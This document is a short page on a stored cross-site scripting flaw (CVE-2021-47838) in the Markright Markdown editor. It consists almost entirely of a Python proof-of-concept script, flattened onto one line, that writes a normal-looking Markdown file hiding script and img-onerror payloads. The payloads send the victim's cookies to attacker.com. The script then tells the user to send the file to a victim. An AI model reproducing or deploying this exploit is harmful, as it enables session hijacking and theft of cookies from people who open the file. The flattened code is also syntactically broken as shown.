CVE-2021-47838 Markright持久型跨站脚本漏洞

#!/usr/bin/env python3 # CVE-2021-47838 PoC - Markright Persistent XSS # This PoC generates a malicious Markdown file with XSS payload import os def generate_malicious_markdown(): """Generate malicious Markdown file with XSS payload""" # XSS payload - executes JavaScript when file is opened xss_payload = '<script>alert("XSS - CVE-2021-47838"); document.location="https://attacker.com/steal?cookie="+document.cookie;</script>' # Alternative payload using img onerror alt_payload = '<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">' # Create malicious markdown content malicious_content = f'''# Normal Looking Document This is a legitimate Markdown document. {xss_payload} ## Section 2 More content here... {alt_payload} --- *End of document* ''' return malicious_content def save_payload(filename="exploit.md"): """Save the malicious markdown file""" content = generate_malicious_markdown() with open(filename, 'w', encoding='utf-8') as f: f.write(content) print(f"[+] Malicious Markdown file created: {filename}") print(f"[+] File size: {len(content)} bytes") return filename if __name__ == "__main__": print("=" * 50) print("CVE-2021-47838 - Markright XSS PoC Generator") print("=" * 50) filename = save_payload() print(f"\n[!] Send this file to victim and have them open it in Markright") print(f"[!] When opened, the XSS payload will execute JavaScript")